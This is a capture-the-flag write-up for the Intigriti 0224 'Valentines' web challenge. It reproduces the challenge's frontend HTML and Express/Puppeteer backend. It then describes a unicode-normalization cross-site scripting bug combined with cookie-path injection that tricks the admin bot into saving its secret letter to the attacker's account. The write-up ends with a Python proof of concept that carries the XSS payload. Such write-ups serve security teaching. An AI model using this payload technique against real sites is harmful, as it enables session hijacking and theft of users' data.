- Category: Web
- Impact: Medium
- Solves: 20
Read the admin's love letter!
The solution:
- Should retrieve the love
letter
written by the admin. - Should not use another challenge on the intigriti.io domain.
We have a web challenge allowing us to create notes
and send link to a Puppeteer
bot:
<!doctype html>
<html lang="en" data-n-head='{"lang":{"1":"en"}}'>
<head>
<meta data-n-head="1" charset="utf-8">
<meta data-n-head="1" name="viewport" content="width=device-width, initial-scale=1">
<meta data-n-head="1" data-hid="description" name="description" content="">
<meta data-n-head="1" name="format-detection" content="telephone=no">
<title>Valentines Challenge</title>
<link data-n-head="1" rel="icon" type="image/x-icon" href="/favicon.ico">
<link rel="preload" href="/_nuxt/5877a40.js" as="script">
<link rel="preload" href="/_nuxt/c0cec39.js" as="script">
<link rel="preload" href="/_nuxt/343c830.js" as="script">
<link rel="preload" href="/_nuxt/be7cbd3.js" as="script">
</head>
<body>
<div id="__nuxt">
<style>
#nuxt-loading {
background: white;
visibility: hidden;
opacity: 0;
position: absolute;
left: 0;
right: 0;
top: 0;
bottom: 0;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
animation: nuxtLoadingIn 10s ease;
-webkit-animation: nuxtLoadingIn 10s ease;
animation-fill-mode: forwards;
overflow: hidden;
}
@keyframes nuxtLoadingIn {
0% {
visibility: hidden;
opacity: 0;
}
20% {
visibility: visible;
opacity: 0;
}
100% {
visibility: visible;
opacity: 1;
}
}
@-webkit-keyframes nuxtLoadingIn {
0% {
visibility: hidden;
opacity: 0;
}
20% {
visibility: visible;
opacity: 0;
}
100% {
visibility: visible;
opacity: 1;
}
}
#nuxt-loading>div,
#nuxt-loading>div:after {
border-radius: 50%;
width: 5rem;
height: 5rem;
}
#nuxt-loading>div {
font-size: 10px;
position: relative;
text-indent: -9999em;
border: .5rem solid #F5F5F5;
border-left: .5rem solid black;
-webkit-transform: translateZ(0);
-ms-transform: translateZ(0);
transform: translateZ(0);
-webkit-animation: nuxtLoading 1.1s infinite linear;
animation: nuxtLoading 1.1s infinite linear;
}
#nuxt-loading.error>div {
border-left: .5rem solid #ff4500;
animation-duration: 5s;
}
@-webkit-keyframes nuxtLoading {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@keyframes nuxtLoading {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg);
}
}
</style>
<script>window.addEventListener('error', function() { var e = document.getElementById('nuxt-loading'); if (e) { e.className += ' error'; } });</script>
<div id="nuxt-loading" aria-live="polite" role="status"><div>Loading...</div></div>
</div>
<script>window.__NUXT__ = {config:{_app:{ basePath: "\u002F", assetsPath: "\u002F_nuxt\u002F", cdnURL: null}}}</script>
<script src="/_nuxt/5877a40.js"></script><script src="/_nuxt/c0cec39.js"></script>
<script src="/_nuxt/343c830.js"></script><script src="/_nuxt/be7cbd3.js"></script>
</body>
</html>
const { URL } = require('url'); // Howdy, challenger! This is the backend of the challenge. We think it's nice to give the code out when possible for server sided challenges so there's no "magic". We've also made the challenge black-box friendly, so this code is helpful but not necessary to solve the challenge. So don't get caught up in the details, just hack away and have fun!
const express = require('express'); // [This part is condensed]
const cors = require('cors'); // 503 Service Temporarily Unavailable
const cookieParser = require('cookie-parser');
const jwt = require("jsonwebtoken");
const passport = require('passport');
const bcrypt = require("bcrypt");
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
require('dotenv').config();
require('./auth/passport'); // Assuming passport.js is in the same directory as app.js
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window); // Challenge internals
app.get('/user', passport.authenticate('jwt', { session: false }), async (req, res) => { // [We could also connect to other basic challengers credentials]
try {
const user = await Users.findOne({
where: {id: req.user.id},
exclude: ['letters'],
attributes: ['id', 'username']
});
if (!user) {
return res.status(500).send("Error finding user");
} else {
return res.status(200).send({'user': user});
}
} catch (err) {
console.error(err);
return res.status(500).send("An error occurred");
}
});
// Everything ABOVE this line until the next challenge are just challenge internals, not part of the challenge.
// Feel free to hack but be aware if there's any silly mistakes, we might just patch it out and continue the challenge.
app.post("/storeLetter", passport.authenticate("jwt", { session: false }), async function (req, res) {
try {
const { letterId, letterValue } = req.body;
if (letterId == undefined || !letterValue) {
return res.status(400).send("Missing parameters");
}
const letter = await Letters.findOne({
where: {
userId: req.user.id,
letterId: letterId
}
});
if (!letter) {
return res.status(500).send("Error finding letter");
}
if (letter.isSet === true) {
return res.status(500).send("Letter already set");
}
letter.letterValue = letterValue;
letter.isSet = true;
await letter.save();
return res.status(200).send("Letter stored");
} catch (err) {
console.error(err);
return res.status(500).send("An error occurred");
}
});
app.get("/getLetterData", passport.authenticate("jwt", { session: false }), async function (req, res) {
try { // Returns all the letter data stored on the user account
const userLetters = await Letters.findAll({
where: { userId: req.user.id },
attributes: { exclude: ['letterValue'] }
});
if (!userLetters) {
return res.status(500).send("Error finding letters"); // Error: Request failed with status code 500
}
return res.status(200).send({userLetters});
} catch (err) {
console.error(err);
return res.status(500).send("An error occurred");
}
});
app.post("/sendAdminURL", adminLimiter, passport.authenticate("jwt", { session: false }), async function (req, res) {
const safetySleepMS = 1500; // (ms) Sometimes it can get a bit tangled if it's too fast.
const thoughts = [];
let browser;
try {
const { adminURL } = req.body;
const host = new URL(adminURL).host; // Make sure the host is part of the challenge domain
const hostRegex = new RegExp(`^(?:[a-zA-Z0-9-]+\\.)*${process.env.FRONTEND_URL.replace(/\./g, '\\.')}$`); // frontend = challenge-0224.intigriti.io
if (!adminURL) {
return res.status(400).send("Empty URL");
} else if (!hostRegex.test(host)) {
thoughts.push("Not too sure what this host is, I'd best be safe and not click it.");
return res.status(400).json(thoughts);
}
console.log("Launching puppeteer");
browser = await puppeteer.launch({
timeout: 0, executablePath: "/usr/bin/chromium-browser",
headless: "new", // [Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.0.0 Safari/537.36]
defaultViewport: null,
});
const linkedUser = await Users.findOne({
where: { linkedUserID: req.user.id },
include: [{
model: Letters,
as: 'letters',
attributes: {
exclude: ['letterValue'],
},
}],
});
if (!linkedUser) { return res.status(500).send("Error finding user"); };
let page = await browser.newPage();
await page.setDefaultTimeout(3000); // The challenge simulates a user who is logged in already, so we'll do that first otherwise it's no fun!
await page.goto(`https://${process.env.SELF_HOST}/login`);
await page.waitForSelector("#username");
await sleep(safetySleepMS);
await page.type("#username", linkedUser.username);
await page.type("#password", process.env.ADMIN_PASSWORD);
await page.click("#login");
await page.waitForSelector("#letter_bank"); // Logged in and ready to go!
thoughts.push(`${host}! I recognize that domain! I'll just click this link and see what it is.`); // lol
await page.goto(adminURL, { waitUntil: 'networkidle0' });
thoughts.push("I shouldn't have clicked that link. I'll open the site directly to check things are safe.");
await page.close();
page = await browser.newPage();
await page.goto(`https://${process.env.FRONTEND_URL}/letters`, { waitUntil: 'networkidle0' }); // Simulate the admin checking the name in the top right to ensure they're on the right account
const user = await page.evaluate((url) => {
return fetch(`https://${url}/user`, {
method: 'GET', credentials: 'include'
}).then(response => response.json()).catch(error => console.error('Error:', error));
}, process.env.SELF_URL); // Make sure the admin is logged into their own account
if (!user || user.user.username !== linkedUser.username) {
thoughts.push("Whose account is this? Something's not right. I'll close the browser and go about my day.");
await browser.close();
return res.status(200).json({ thoughts });
}
const letterData = await page.evaluate((url) => {
return fetch(`https://${url}/getLetterData`, { method: 'GET', credentials: 'include'}).then(response => response.json()).catch(error => console.error('Error:', error));
}, process.env.SELF_URL);
const letterIsSet = letterData.userLetters[3].isSet;
if (letterIsSet) {
thoughts.push("I can see that the Intigriti letter is safely set! My secret is safe! I'll go about my day now.");
await browser.close();
return res.status(200).json({ thoughts });
}
thoughts.push("I can see I'm missing a letter? Did I forget? Weird. I'll just set it now...");
const adminLetterText = Buffer.from(process.env.ADMIN_LETTER, 'base64').toString('ascii');
await page.evaluate((url, letter) => { // Existing fetch request
fetch(`https://${url}/storeLetter`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ letterId: 3, letterValue: letter }),
credentials: 'include'
});
}, process.env.SELF_URL, adminLetterText);
thoughts.push("Letter submitted! I'll close the browser now and go about my day.");
await browser.close();
} catch (e) {
console.log("Caught an error: ", e);
try {
await browser.close();
} catch (err) {
console.error(err);
}
return res.status(500).json({ thoughts });
}
console.log("Exiting /sendAdminURL endpoint");
return res.status(200).json({ thoughts });
});
Launching a polyvalent automation fuzzing on the various endpoints of the challenge, we quickly come across an unicode normalization cross-site scripting vulnerability.
This is a classic case where we can then try to perform a self cookie path redirection (with /getLetterData
, /storeLetter
and /letters
ways) on the API
that will cause the bot to write their own admin note to our account.
Here a short proof-of-concept
to get the admin note:
def flag() -> str:
"""Getting the content of the admin note.
:command: python poc.py
:type target: str
:rtype: str
"""
s = __import__("requests").Session()
_ = s.post("https://api.challenge-0224.intigriti.io/login", json={"username": "admin", "password": "admin"})
c = s.cookies.get_dict()["jwt"]; print(c)
if c:
poc = f'https://api.challenge-0224.intigriti.io/setTestLetter?msg=%e1%b4%bcscript>document.cookie="jwt={c};path=/getLetterData";document.cookie="jwt={c};path=/storeLetter";//%e1%b4%bc/script>'
url = s.get(poc).url
print(url)
q = s.post("https://api.challenge-0224.intigriti.io/sendAdminURL", json={"adminURL": url})
print(q.text)
r = s.post("https://api.challenge-0224.intigriti.io/readLetterData", json={"letterId": "3", "password": "admin"})
print(r.text)
flag()
We do not really need to dwell a lot on the rest of the challenge.
Applying strict Content-Security-Policy
and normalization
checks.
A nice challenge where we can quickly get lost, for no particular reason.